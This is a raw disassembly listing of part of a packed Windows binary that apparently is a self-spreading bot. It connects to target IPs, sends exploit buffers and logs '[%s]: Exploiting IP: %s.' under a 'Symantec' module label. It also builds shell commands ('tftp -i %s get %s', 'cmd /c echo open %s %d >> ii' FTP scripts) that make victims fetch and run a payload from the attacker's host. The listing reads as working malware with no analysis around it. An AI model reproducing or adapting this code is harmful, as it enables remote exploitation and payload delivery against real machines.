		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: .packed:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: .packed:0040E005j
		push	dword ptr [ebp-4]
		call	dword_427070	; CloseHandle
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: .packed:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	dword_4270EC	; ReadFile
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	dword_427070	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: .packed:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4	; htons
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: .packed:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: .packed:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: .packed:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: .packed:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: .packed:0040E162j
					; .packed:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: .packed:0040E14Aj
		call	dword_4CBA6C	; closesocket


loc_40E1CA:				; CODE XREF: .packed:0040DF7Dj
					; .packed:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: .packed:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket


loc_40E1DE:				; CODE XREF: .packed:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: .packed:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		call	dword_427080	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: .packed:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: .packed:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: .packed:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: .packed:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	dword_427080	; Sleep
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		push	ebx
		call	dword_4CBA6C	; closesocket
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: .packed:0040E946p
					; .packed:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		call	dword_427080	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4	; htons
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: .packed:0040E884j
					; .packed:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: .packed:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: .packed:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: .packed:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: .packed:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: .packed:0040E975j
		push	ebx
		call	dword_4CBA6C	; closesocket
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: .packed:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: .packed:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4271F0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_4271F4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427204	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_427208	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_427200	; closesocket
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: .packed:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_427204	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4271F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		call	dword_427208	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		call	dword_427200	; closesocket


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		call	dword_427200	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: .packed:0040EC93p
					; .packed:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC	; recv
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: .packed:0040ECDFp
					; .packed:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
